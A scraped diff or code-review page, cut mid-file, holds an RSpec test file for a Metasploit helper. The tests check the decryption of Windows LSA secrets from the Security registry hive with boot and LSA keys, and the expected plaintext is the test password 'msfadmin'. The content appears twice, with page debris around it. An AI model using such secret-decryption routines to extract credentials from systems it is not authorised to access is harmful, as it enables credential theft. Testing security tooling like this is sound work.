"\xc3\x5f\x85\xc2\x62\x55\x25\x6c\x42\x89\x88\xc1\xe0\xe8\x17\x5e"
|
||||
end
|
||||
|
||||
it "should produce expected plaintext" do
|
||||
decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key)
|
||||
expect(decrypted).to eq plaintext
|
||||
end
|
||||
end
|
||||
|
||||
# For XP and older
|
||||
describe "#decrypt_secret_data" do
|
||||
let(:ciphertext) do
|
||||
# From "HKLM\\Security\\Policy\\Secrets\\"
|
||||
"\x22\xea\xc4\xd8\xfc\x5d\x36\xf4\x2e\x8b\xd3\x0f\x5d\xbc\xc4\x3a" +
|
||||
"\x37\x4b\x84\xea\xa0\xc0\x96\x61"
|
||||
end
|
||||
let(:boot_key) { boot_key_xp }
|
||||
let(:plaintext) do
|
||||
# Unicode "msfadmin"
|
||||
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"
|
||||
end
|
||||
|
||||
it "should produce expected plaintext" do
|
||||
expect(subject.decrypt_secret_data(ciphertext, boot_key)).to eq plaintext
|
||||
end
|
||||
|
||||
context 'with a large secret' do
|
||||
let(:ciphertext) do
|
||||
['d3c5991ffd49b7b072f00f3f8f1cae9d64c9300938f80ef9c0d01e1e3ec126c2127c5b27fe'\
|
||||
'2f2191a6da1b4bf0dd6aef3f04484df22babd994b18428069979de669b935b85c8d7cdb470'\
|
||||
'4e998752aedfd8a34c34ef38b8cf38f9a436d309e4c9100c46c2661652635e8cbb68990f9f'\
|
||||
'd878ae201f56979cd298b1fd0ebfe893f6f9a3e174ba3daf07e97967d5561ce3041815d523'\
|
||||
'2889ae6a17a600b2660aea0371e0e5bd6495772acec7b3954652a0172f72a0e5c8e2d5899b'\
|
||||
'12132ade0a2f5ac47c0ffd957d51769247673943200ac9652c2f68e7b71c4a5b338cd62462'\
|
||||
'd6384a502b15cb5e02dbbbf53b18f3ddc2bb7317c65422b067f27073d2fbb6ae98c8d75d44'\
|
||||
'dda34cd2b9e429fe58a75771c7fe8b9c73c3a88a1b00d80af28d644e8e1a760280b9a5cd71'\
|
||||
'319c1bfbf5ad04e9869d17ec392b0f00e7fac04affbf0825080df833d533f75e126af7c073'\
|
||||
'893ad1c3fe09af99b935b7ac8500b10f2c8383cfc30201aed4b721d71b080816739b42a0ae'\
|
||||
'0a167caf6f67ac8500b10f2c8383cfc30201aed4b721'].pack('H*')
|
||||
end
|
||||
let(:lsa_key) { ['5cd51b7d70c1814f0b37ada38babcd06'].pack('H*') }
|
||||
let(:plaintext) do
|
||||
['5253413248000000000200003f00000001000100e7bbffa5f31998062c6cbab92863d2b9cf'\
|
||||
'0dd3a323d0dd2506ecf46febf44b517ba7475f8e470bfee47343c5eda72b039318ff76fede'\
|
||||
'3b593d758f09d96d53c900000000000000007f0c0af6c84c675435170e3ba03122610ae55c'\
|
||||
'd5f0d11dc19ca025af5680bef80000000099bcaf52b6aaa97bca0d1aa295011ce5bb372a8c'\
|
||||
'31fd4adcf93758a8e6d432cf0000000097521ad69479c5cf129b8ee43c5b98f85a1b47b40e'\
|
||||
'a06415026af9843067d18d00000000999201ae1bdbfd187d924430e9d8e7cbd306b65c49fd'\
|
||||
'805609244ae33de2785c00000000a5139bbb9733b1a6395bdf4c233e0d653a9c0526d4007b'\
|
||||
'4f54330b50ca41f861000000003160edfc16a22a6a0201f30f9a850db2272f6688bb849763'\
|
||||
'cbc61ec39cf4566b77da7989000ff520a7a4bb94f88edf52a9d3b32f8edc5fd3ea238cacef'\
|
||||
'60d21200000000000000000000000000000000000000000000000000000000000000000000'\
|
||||
'00000000000000000000'].pack('H*')
|
||||
end
|
||||
it "should produce expected plaintext" do
|
||||
expect(subject.decrypt_secret_data(ciphertext, lsa_key)).to eq plaintext
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe "#capture_lsa_key" do
|
||||
let(:pol_enc_key_vista) do
|
||||
"\x00\x00\x00\x01\xec\xff\xe1\x7b\x2a\x99\x74\x40\xaa\x93\x9a\xdb"+
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
|
||||
RSpec.describe Msf::Util::WindowsCryptoHelpers do
|
||||
|
||||
subject do
|
||||
context_described_class = described_class
|
||||
|
||||
klass = Class.new(Msf::Post) do
|
||||
include context_described_class
|
||||
end
|
||||
|
||||
klass.new
|
||||
end
|
||||
|
||||
let(:boot_key_vista) do
|
||||
"\x50\xfb\xae\x5f\x5c\xd7\x70\x39\x54\xe5\x50\x48\x32\x1b\x81\x8d"
|
||||
end
|
||||
let(:boot_key_xp) do
|
||||
"\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56"
|
||||
end
|
||||
|
||||
# For Vista and newer
|
||||
describe "#decrypt_lsa_data" do
|
||||
let(:ciphertext) do
|
||||
# From "HKLM\\Security\\Policy\\Secrets\\"
|
||||
"\x00\x00\x00\x01\x68\x6e\x97\x93\xdb\xdb\xde\xc8\xf7\x40\x08\x79"+
|
||||
"\x9d\x91\x64\x1c\x03\x00\x00\x00\x00\x00\x00\x00\x68\x38\x3f\xc5"+
|
||||
"\x94\x10\xac\xcf\xbe\xf7\x8d\x12\xc0\xd5\xa2\x9d\x3d\x30\x30\xa8"+
|
||||
"\x6d\xbd\xc6\x48\xd3\xe4\x36\x33\x86\x91\x0d\x8d\x8f\xfc\xd4\x8a"+
|
||||
"\x87\x0c\x83\xde\xb4\x73\x9e\x21\x1b\x39\xef\x04\x36\x67\x97\x8a"+
|
||||
"\x43\x40\x79\xcf\xdb\x3d\xcc\xfe\x10\x0c\x78\x11\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
let(:lsa_key) do
|
||||
"\x93\x19\xb7\xb3\x93\x5b\xcb\x53\x5c\xb0\x54\xce\x0f\x5e\x27\xfd"+
|
||||
"\x4f\xd1\xe3\xd3\x5b\x8c\x90\x4c\x13\xda\xb8\x39\xcc\x4e\x28\x43"
|
||||
end
|
||||
let(:plaintext) do
|
||||
# Length of actual data?
|
||||
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
# Unicode msfadmin
|
||||
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"+
|
||||
# As far as I can tell, the rest of the data is gibberish?
|
||||
# Possibly random padding, since plaintext seems to always be a
|
||||
# multiple of 16 bytes.
|
||||
"\xc3\x5f\x85\xc2\x62\x55\x25\x6c\x42\x89\x88\xc1\xe0\xe8\x17\x5e"
|
||||
end
|
||||
|
||||
it "should produce expected plaintext" do
|
||||
decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key)
|
||||
expect(decrypted).to eq plaintext
|
||||
end
|
||||
end
|
||||
|
||||
# For XP and older
|
||||
describe "#decrypt_secret_data" do
|
||||
let(:ciphertext) do
|
||||
# From "HKLM\\Security\\Policy\\Secrets\\"
|
||||
"\x22\xea\xc4\xd8\xfc\x5d\x36\xf4\x2e\x8b\xd3\x0f\x5d\xbc\xc4\x3a" +
|
||||
"\x37\x4b\x84\xea\xa0\xc0\x96\x61"
|
||||
end
|
||||
let(:boot_key) { boot_key_xp }
|
||||
let(:plaintext) do
|
||||
# Unicode "msfadmin"
|
||||
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"
|
||||
end
|
||||
|
||||
it "should produce expected plaintext" do
|
||||
expect(subject.decrypt_secret_data(ciphertext, boot_key)).to eq plaintext
|
||||
end
|
||||
|
||||
context 'with a large secret' do
|
||||
let(:ciphertext) do
|
||||
['d3c5991ffd49b7b072f00f3f8f1cae9d64c9300938f80ef9c0d01e1e3ec126c2127c5b27fe'\
|
||||
'2f2191a6da1b4bf0dd6aef3f04484df22babd994b18428069979de669b935b85c8d7cdb470'\
|
||||
'4e998752aedfd8a34c34ef38b8cf38f9a436d309e4c9100c46c2661652635e8cbb68990f9f'\
|
||||
'd878ae201f56979cd298b1fd0ebfe893f6f9a3e174ba3daf07e97967d5561ce3041815d523'\
|
||||
'2889ae6a17a600b2660aea0371e0e5bd6495772acec7b3954652a0172f72a0e5c8e2d5899b'\
|
||||
'12132ade0a2f5ac47c0ffd957d51769247673943200ac9652c2f68e7b71c4a5b338cd62462'\
|
||||
'd6384a502b15cb5e02dbbbf53b18f3ddc2bb7317c65422b067f27073d2fbb6ae98c8d75d44'\
|
||||
'dda34cd2b9e429fe58a75771c7fe8b9c73c3a88a1b00d80af28d644e8e1a760280b9a5cd71'\
|
||||
'319c1bfbf5ad04e9869d17ec392b0f00e7fac04affbf0825080df833d533f75e126af7c073'\
|
||||
'893ad1c3fe09af99b935b7ac8500b10f2c8383cfc30201aed4b721d71b080816739b42a0ae'\
|
||||
'0a167caf6f67ac8500b10f2c8383cfc30201aed4b721'].pack('H*')
|
||||
end
|
||||
let(:lsa_key) { ['5cd51b7d70c1814f0b37ada38babcd06'].pack('H*') }
|
||||
let(:plaintext) do
|
||||
['5253413248000000000200003f00000001000100e7bbffa5f31998062c6cbab92863d2b9cf'\
|
||||
'0dd3a323d0dd2506ecf46febf44b517ba7475f8e470bfee47343c5eda72b039318ff76fede'\
|
||||
'3b593d758f09d96d53c900000000000000007f0c0af6c84c675435170e3ba03122610ae55c'\
|
||||
'd5f0d11dc19ca025af5680bef80000000099bcaf52b6aaa97bca0d1aa295011ce5bb372a8c'\
|
||||
'31fd4adcf93758a8e6d432cf0000000097521ad69479c5cf129b8ee43c5b98f85a1b47b40e'\
|
||||
'a06415026af9843067d18d00000000999201ae1bdbfd187d924430e9d8e7cbd306b65c49fd'\
|
||||
'805609244ae33de2785c00000000a5139bbb9733b1a6395bdf4c233e0d653a9c0526d4007b'\
|
||||
'4f54330b50ca41f861000000003160edfc16a22a6a0201f30f9a850db2272f6688bb849763'\
|
||||
'cbc61ec39cf4566b77da7989000ff520a7a4bb94f88edf52a9d3b32f8edc5fd3ea238cacef'\
|
||||
'60d21200000000000000000000000000000000000000000000000000000000000000000000'\
|
||||
'00000000000000000000'].pack('H*')
|
||||
end
|
||||
it "should produce expected plaintext" do
|
||||
expect(subject.decrypt_secret_data(ciphertext, lsa_key)).to eq plaintext
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue